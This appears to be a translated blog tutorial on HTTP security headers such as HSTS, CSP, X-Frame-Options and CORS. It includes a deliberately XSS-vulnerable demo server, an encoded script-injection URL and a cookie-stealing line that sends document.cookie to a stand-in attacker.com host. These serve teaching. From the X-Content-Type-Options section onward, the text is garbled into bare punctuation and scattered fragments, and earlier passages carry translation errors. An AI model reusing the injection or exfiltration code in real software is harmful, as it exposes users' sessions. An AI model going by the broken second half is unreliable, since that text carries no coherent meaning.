How to increase the security of web applications using HTTP headers

This is the third part of the web security series: the second part was “ Web Security: an introduction to HTTP ”, the first was “ How browsers work — an introduction to web application security .”

As we saw in the previous parts of this series, servers can send HTTP headers to provide the client with additional metadata in the response, in addition to sending the content requested by the client. Clients are then allowed to specify how to read, cache, or protect a specific resource.
')
Currently, browsers have implemented a very wide range of security-related headers to make it more difficult for attackers to exploit vulnerabilities. In this article, we will try to discuss each of them, explaining how they are used, what attacks they prevent, and a bit of history for each headline.

The post was written with the support of the company EDISON Software, which fights for the honor of Russian programmers and shares in detail their experience in developing complex software products .

HTTP Strict Transport Security (HSTS)

Since the end of 2012, it has become easier for supporters of “HTTPS Everywhere” to force the client to always use the secure version of the HTTP protocol thanks to Strict Transport Security: a very simple Strict-Transport-Security: max-age=3600 tells the browser that within the next hour (3600 seconds) Must not communicate with the application using insecure protocols.

When a user tries to access an application protected with HSTS via HTTP, the browser simply refuses to go further, automatically converting the http:// URLs to https:// .

You can check it locally with the github.com/odino/wasec/tree/master/hsts code. You will need to follow the instructions in the README (it includes installing a trusted SSL certificate for localhost on your computer using the mkcert tool), and then try opening https://localhost:7889 .

In this example, there are 2 servers: HTTPS, which is listening on 7889 , and HTTP is port 7888 . When you access the HTTPS server, it will always try to redirect you to the HTTP version that will work because the HSTS is not on the HTTPS server. If instead you add the hsts=on parameter to your URL, the browser will force the link to the https:// version. Since the server on the 7888 is only available via the http protocol, you will end up looking at a page that looks something like this.



You may be interested to know what happens when a user visits your site for the first time, because the HSTS policy is not predetermined: attackers could potentially deceive the user according to http:// version of your site and launch an attack there, so there is still room for problems . This is a serious problem, since HSTS is a trust mechanism when first used. He is trying to make sure that after visiting the website the browser knows that the subsequent interaction should use HTTPS.

To circumvent this drawback could be through the support of a huge database of websites that support HSTS, which Chrome does through hstspreload.org . You must first establish your policy, then visit the website and check if it can be added to the database. For example, we can see that Facebook is on the list.



By submitting your website to this list, you can inform browsers in advance that your website uses HSTS, so even the first interaction between clients and your server will be done via a secure channel. But it is expensive, because you really need to take part in HSTS. If, for any reason, you want your website to be removed from the list, this is not an easy task for browser vendors:

Keep in mind that inclusion in the preload list cannot be easily canceled.

Domains can be deleted, but it takes months to bring Chrome to users, and we cannot guarantee any other browsers. Do not request inclusion to the list if you are not sure that you can support HTTPS for your entire site and all its subdomains for a long time.
- Source: https://hstspreload.org/

This is because the provider cannot guarantee that all users will use the latest version of their browser, and your site will be removed from the list. Think carefully and make a decision based on your degree of trust in the HSTS and your ability to sustain it in the long run.

HTTP Public Key Pinning (HPKP)

HTTP Public Key Pinning is a mechanism that allows us to tell the browser which SSL certificates to expect when connecting to our servers. This header uses a trust mechanism for the first use, like HSTS, and means that after the client connects to our server, it will store certificate information for subsequent interactions. If at some point the client finds out that the server is using a different certificate, it will politely refuse to connect, which makes it very difficult to conduct man-in-the-middle attacks (MITM).

This is what the HPKP policy looks like:

 Public-Key-Pins: pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu="; pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3="; max-age=3600; includeSubDomains; report-uri="https://pkpviolations.example.org/collect" 

The header declares which certificates the server will use (in this case, two of them), using the certificate hash, and includes additional information, such as the lifetime of this directive ( max-age = 3600 ) and several other details. Unfortunately, it makes no sense to dig deeper to understand what we can do with securing the public key, because Chrome does not approve of this function - a signal that its adoption is doomed to failure.

Chrome’s solution is not irrational, it’s simply a consequence of the risks associated with securing the public key. If you lose your certificate or simply make a mistake during testing, your site will be unavailable for users who have visited the site before (during the max-age directive, which usually takes a week or months).

As a result of these potentially catastrophic consequences, the adoption of HPKP was extremely low, and there were cases when large websites were not available due to improper configuration . With all this in mind, Chrome decided that users would be better off without the protection offered by HPKP, and security researchers are not entirely against this decision .

Expect-CT

While HPKP was being condemned, a new header appeared to prevent fraudulent SSL certificates for clients: Expect-CT .

The purpose of this header is to inform the browser that it must perform additional “background checks” to make sure that the certificate is authentic: when the server uses the Expect-CT header, it basically asks the client to verify that the certificates used are in the open transparency certificate logs (CT).

The certificate transparency initiative is an effort by Google to ensure:

An open platform for monitoring and auditing SSL certificates in near real time.

In particular, the transparency of certificates allows you to detect SSL certificates that were erroneously issued by a certification authority or maliciously obtained from another flawless certification authority. It also allows you to identify certification authorities that went to fraud and maliciously issue certificates.
- Source: https://www.certificate-transparency.org/

The header takes this form:

 Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report" 

In this example, the server asks for a browser:

• enable CT check for the current application for 1 hour (3600 seconds)
• enforce enforce this policy and deny access to the application in case of violation
• send a report to the specified URL in case of violation

The goal of the Certificate Transparency initiative is to detect erroneously issued or malicious certificates (and fraudulent certification authorities) earlier, faster, and more accurately than any other method used before.

By enabling the use of the Expect-CT header, you can use this initiative to improve the security status of your application.

X-Frame-Options

Imagine that you see a webpage like this



As soon as you click on the link, you realize that all the money in your bank account has disappeared. What happened?

You have been the victim of a clickjacking attack.

The attacker sent you to his website, which displays a very attractive link to click. Unfortunately, he also embedded in your iframe page with your-bank.com/transfer?amount=-1&[attacker@gmail.com] , but hid it by setting transparency to 0%. We thought that we had clicked on the original page trying to win a completely new Hamer, but instead the browser fixed a click on the iframe, a dangerous click that confirmed the transfer of money.

Most banking systems require you to enter a one-time PIN to confirm transactions, but your bank has not caught up with time, and all your money is gone.

The example is quite extreme, but it should let you know what the consequences of an attack with clickjacking might be. The user intends to click on a specific link, while the browser will click on the “invisible” page, which was embedded in the frame.

I have included an example of this vulnerability in github.com/odino/wasec/tree/master/clickjacking . If you run the example and try to click on the “attractive” link, you will see that the real click is intercepted by the iframe, which makes it non-transparent so that you can more easily detect the problem. The example should be available at http://localhost:7888 .



Fortunately, browsers have come up with a simple solution to this problem: X-Frame-Options (XFO), which allows you to decide whether you can embed your application as an iframe on external websites. Popularized by Internet Explorer 8, XFO was first introduced in 2009 and is still supported by all major browsers.

It works like this: when the browser sees the iframe, it loads it and checks that its XFO allows it to be included in the current page before it is rendered.



Supported values:

• DENY : This webpage cannot be embedded anywhere. This is the highest level of protection, since it does not allow anyone to embed our content.
• SAMEORIGIN : Only pages from the same domain as the current can insert this page. This means that example.com/embedder can load example.com/embedded if its policy is set to SAMEORIGIN . This is a more relaxed policy that allows owners of a particular website to embed their own pages into their application.
• ALLOW-FROM uri : attachment is allowed with the specified URI. We could, for example, allow an external authorized website to embed our content using ALLOW-FROM https://external.com . This is usually used when you are going to allow third-party developers to embed your content via iframe.

An example of an HTTP response that includes the strictest possible XFO policy is as follows:

 HTTP/1.1 200 OK Content-Type: application/json X-Frame-Options: DENY ... 

To demonstrate how browsers behave when XFO is turned on, we can simply change our example URL to http://localhost:7888 /?xfo=on . The xfo=on parameter tells the server to include X-Frame-Options: deny in the response, and we can see how the browser restricts access to the iframe:



XFO was considered the best way to prevent attacks using frame-based clicks until, after a few years, another heading entered the game — Content Security Policy or CSP for short.

Content Security Policy (CSP)

The Content-Security-Policy header, abbreviated CSP, provides next-generation utilities to prevent multiple attacks, from XSS (cross-site scripting) to intercepting clicks (click-jacking).

To understand how CSP helps us, you first need to think about the attack vector. Suppose we just created our own search engine Google, where there is a simple input field with a submit button.



This web application does nothing magical. It is simple,

• displays the form
• allows the user to perform a search
• displays search results along with the keyword that the user was searching for

When we perform a simple search, the application returns the following:



Amazing Our application incredibly understood our search and found a similar image. If we delve into the source code available at github.com/odino/wasec/tree/master/xss , we will soon realize that the application is a security issue, because any keyword the user is looking for is directly printed in HTML:

 var qs = require('querystring') var url = require('url') var fs = require('fs') require('http').createServer((req, res) => { let query = qs.parse(url.parse(req.url).query) let keyword = query.search || '' let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...` res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results)) }).listen(7888) <html> <body> <h1>Search The Web</h1> <form> <input type="text" name="search" value="__KEYWORD__" /> <input type="submit" /> </form> <div id="results"> __RESULTS__ </div> </body> </html> 

This represents an unpleasant consequence. An attacker could create a specific link that executes arbitrary javascript in the victim’s browser.



If you have the time and patience to run the example locally, you can quickly understand the full power of CSP. I added a query string parameter that includes CSP, so we can try to navigate to the malicious URL with CSP enabled:

localhost : 7888 /? search =% 3Cscript + type% 3D% 22text% 2Fjavascript% 22% 3Ealert% 28% 27You% 20have% 20been% 20PWNED% 27% 29% 3C% 2Fscript% 3E & csp = on

As you can see in the example above, we told the browser that our CSP policy only allows scripts included from the same source of the current URL, which we can easily check by accessing the URL using curl and viewing the response header:

 $ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on" HTTP/1.1 200 OK X-XSS-Protection: 0 Content-Security-Policy: default-src 'self' Date: Sat, 11 Aug 2018 10:46:27 GMT Connection: keep-alive 

Since the XSS attack was carried out using an embedded script (a script directly embedded in the HTML content), the browser politely refused to execute it, ensuring the security of our user. Imagine that instead of simply displaying a warning dialog, an attacker would set up a redirect to his own domain through some JavaScript code that might look like this:

 window.location = `attacker.com/${document.cookie}` 

They could steal all user cookies that may contain very sensitive data (more on this in the next article).

It should be clear by now how CSP helps us prevent a number of attacks on web applications. You define a policy, and the browser will strictly adhere to it, refusing to launch resources that violate the policy.

An interesting option for CSP is report-only mode. Instead of using the Content-Security-Policy header, you can first check the impact of the CSP on your site, telling the browser to simply report errors without blocking the execution of the script, etc., using the Content-Security-Policy-Report-Only header.

The reports will allow you to understand what critical changes may be caused by the CSP policy you would like to deploy and fix them accordingly. We can even specify the URL of the report, and the browser will send us a report. Here is a complete report-only policy example:

 Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector 

CSP policies themselves can be a bit complicated, for example, in the following example:

 Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com 

This policy defines the following rules:

• executable scripts (for example, JavaScript) can only be downloaded from scripts.example.com
• images can be downloaded from any source ( img-src: * )
• video or audio content can be downloaded from two sources: medias.example.com and medias.legacy.example.com

As you can see, a politician can be many, and if we want to provide maximum protection for our users, this can be a rather tedious process. However, writing a comprehensive CSP policy is an important step towards adding an extra layer of security to our web applications.

For more information on CSP, I would recommend developer.mozilla.org/en-US/docs/Web/HTTP/CSP .

X-XSS-Protection

Although it is replaced by CSP, the X-XSS-Protection header provides a similar type of protection. This header is used to mitigate XSS attacks in older browsers that do not fully support CSP. This title is not supported by Firefox.

Its syntax is very similar to what we just saw:

 X-XSS-Protection: 1; report=http://xssviolations.example.com/collector 

Reflected XSS is the most common type of attack, where the entered text is printed by the server without any verification, and this is where this header really resolves. If you want to see it yourself, I would recommend trying the example at github.com/odino/wasec/tree/master/xss , since adding xss=on to the URL, it shows what the browser does when XSS protection is on . If we enter a malicious string in the search field, such as, the browser will politely refuse to execute the script and explain the reason for its decision:

 The XSS Auditor refused to execute a script in 'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior. 

Even more interesting is the default behavior in Chrome, when a CSP or XSS policy is not specified on a webpage. The script that we can test by adding the xss=off parameter to our URL ( http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=off ):



Surprisingly, Chrome is careful to prevent the page from being rendered, making it difficult to create a reflected XSS. It is impressive how far the browsers have gone.

Feature policy

In July 2018, security researcher Scott Helm posted a very interesting blog post that details the new security headline: Feature-Policy .

Currently supported by very few browsers (Chrome and Safari at the time of this writing), this header allows us to determine if a particular browser feature is enabled on the current page. With a syntax very similar to CSP, we should have no problems understanding what the policy of functions means, such as the following:

 Feature-Policy: vibrate 'self'; push *; camera 'none' 

If we have all the doubts, then how does this policy affect the browser API, we can simply analyze it:

• vibrate 'self' : allows the current page to use the vibration API and any frame on the current site.
• push * : the current page and any frame can use the push notification API
• camera 'none' : access to the camera API is denied on this page and any frames.

The policy of functions has a small history. If your site allows users to, for example, take selfies or record audio, it would be very useful to use a policy that restricts access to the API through your page in other contexts.

X-Content-Type-Options

Sometimes smart browser features end up harming us from a security point of view. A prime example is MIME sniffing, a technique popular in Internet Explorer.

MIME- — ( ) . , /awesome-picture.png , (, Content-Type: text/plain ). , .

, IE , MIME-: «» , , , Content-Type , , , , .

-, , , /test.jpg , JavaScript. , ? , HTML , , «», . , , , .

, X-Content-Type-Options: nosniff , MIME-: , , , . , , , .

Cross-Origin Resource Sharing (CORS)

JavaScript HTTP- . , AJAX- example.com example.com .

, — cookie, . , win-a-hummer.com , AJAX your-bank.com . - , HTTP- , , , .

AJAX , Cross Origin Resource Sharing (CORS), , .

, CORS, , , «» CORS.

, , , Access-Control-Allow-Origin , , .

Access-Control-Allow-Origin: * , , , URL-, , Access-Control-Allow-Origin: https://example.com .

github.com/odino/wasec/tree/master/cors , , . , AJAX test-cors test-cors-2 . test-cors-2 CORS, , . http://cors-test:7888/?cors=on



cors URL, :



, , , , . , , . , , , my-bank.com/transfer?amount=1000&from=me&to=attacker. !

, GET - , , POST -? , , , http://cors-test:7888/?method=POST :



POST , , « ». , OPTIONS , . , , POST .

:

• CORS — . , , , .
• API, GET . , .

, -, , , CORS. , , example.com , example.com/_proxy/other.com , , _proxy/other.com/* , other.com .

, , CORS, MDN , developer.mozilla.org/en-US/docs/Web/HTTP/CORS .

X-Permitted-Cross-Domain-Policies

CORS, X-Permitted-Cross-Domain-Policies Adobe ( , Flash Acrobat).

, , . , Adobe crossdomain.xml , , X-Permitted-Cross-Domain-Policies .

? X-Permitted-Cross-Domain-Policies: none , Flash.

Referrer-Policy

, , . Referer , . URL , .

, , . , . Referer . , , .

Referrer-Policy , 2017 , , , URL- Referer .

, Referrer-Policy :

• no-referrer : Referer
• origin : https://example.com/private-page https://example.com/
• same-origin : Referer ,

, Referred-Policy ( strict-origin , no-referrer-when-downgrade . .), , , , . , , OWASP .

Origin Referer , , , . Origin , . -: Origin , .

, HTTP-, cURL, : c url -H "Origin: example.com" api.example.com origin …… Origin ( Referer , ) .

securityheaders.com , -, , - , . , URL, . facebook.com :



, , securityheaders.com — , .

HTTP : cookie

HTTP, , - , .

HTTP: .

, - HTTP , , , ( ) -: - , , « ». , cookie , .